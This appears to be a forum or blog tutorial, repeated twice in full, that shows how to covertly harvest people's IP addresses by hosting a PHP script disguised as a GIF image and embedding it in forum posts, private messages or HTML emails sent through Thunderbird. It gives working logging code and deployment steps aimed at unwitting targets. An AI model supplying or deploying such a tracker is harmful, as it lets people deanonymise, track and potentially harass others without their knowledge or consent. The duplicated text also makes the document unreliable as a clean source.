With this technique, you can get IP's from forum threads, forum PM's, imageboards, emails, or basically anywhere you can show an image.
You will need an Apache server, I recommend XAMPP. Otherwise you can try it on a host. However, this technique didn't work on 000webhost (a free hosting provider).
There will be two files needed on the server. One is the PHP file and the other is the gif image. The PHP file will pretend to be the image (using image/gif header), and will log the IP and other info when the image is accessed. The PHP file will log all of this in the log.html file (which it will create).
Code:
<?php
$imageurl = "http://yourwebserver.com/image.gif";
$fp = fopen('log.html', 'a');
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$port = $_SERVER['REMOTE_PORT'];
$file = $_SERVER['HTTP_REFERER'];
$visitTime = date("M d, h:i A");
$data =" <tr><td>$visitTime</td><td>$ip</td><td></td><td>$port";
fwrite($fp, $data);
fclose($fp);
header("content-type: image/gif");
$image = ImageCreateFromGIF($imageurl);
imagegif($image);
ImageDestroy($image);
exit();
?>
The second file will be the image. Either you can have a 1x1 blank image, or an actual image. Save it as a gif and put it in the same folder as the php file. Change the imagelink in the PHP file to point to the image.
To test if it works, create a simple html file, change the loopback to your host:
Code:
<html><body><img src="http://127.0.0.1/image.php"</img>
Now go check the log.html. If theres a record, then it works.
To get IP's from a forum, either post the image.php as a picture on a thread, or send a PM with a message like:
Code:
Code:
http://my-ip.com/image.php
To get IP's through email is a little tricky. Most online email services won't let you attach PHP images. Also, the receiver must open the email and allow the images to be shown.
The only way I made it work was through Thunderbird.
Create a new message, and click on the attach icon on the formatting bar (not the big Attach button). You'll see options to attach a Link, anchor, image etc.
- Choose Image.
- In the link, enter something like
Code:
http://my-ip.com/image.php
- uncheck "attach this image to the message"
- select "don't use alternate text"
- click OK
- Send it, and choose send as HTML
You will need an Apache server, I recommend XAMPP. Otherwise you can try it on a host. However, this technique didn't work on 000webhost (a free hosting provider).
There will be two files needed on the server. One is the PHP file and the other is the gif image. The PHP file will pretend to be the image (using image/gif header), and will log the IP and other info when the image is accessed. The PHP file will log all of this in the log.html file (which it will create).
Code:
<?php
$imageurl = "http://yourwebserver.com/image.gif";
$fp = fopen('log.html', 'a');
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$port = $_SERVER['REMOTE_PORT'];
$file = $_SERVER['HTTP_REFERER'];
$visitTime = date("M d, h:i A");
$data =" <tr><td>$visitTime</td><td>$ip</td><td></td><td>$port";
fwrite($fp, $data);
fclose($fp);
header("content-type: image/gif");
$image = ImageCreateFromGIF($imageurl);
imagegif($image);
ImageDestroy($image);
exit();
?>
The second file will be the image. Either you can have a 1x1 blank image, or an actual image. Save it as a gif and put it in the same folder as the php file. Change the imagelink in the PHP file to point to the image.
To test if it works, create a simple html file, change the loopback to your host:
Code:
<html><body><img src="http://127.0.0.1/image.php"</img>
Now go check the log.html. If theres a record, then it works.
To get IP's from a forum, either post the image.php as a picture on a thread, or send a PM with a message like:
Code:
Code:
http://my-ip.com/image.php
To get IP's through email is a little tricky. Most online email services won't let you attach PHP images. Also, the receiver must open the email and allow the images to be shown.
The only way I made it work was through Thunderbird.
Create a new message, and click on the attach icon on the formatting bar (not the big Attach button). You'll see options to attach a Link, anchor, image etc.
- Choose Image.
- In the link, enter something like
Code:
http://my-ip.com/image.php
- uncheck "attach this image to the message"
- select "don't use alternate text"
- click OK
- Send it, and choose send as HTML
0 Comments:
Post a Comment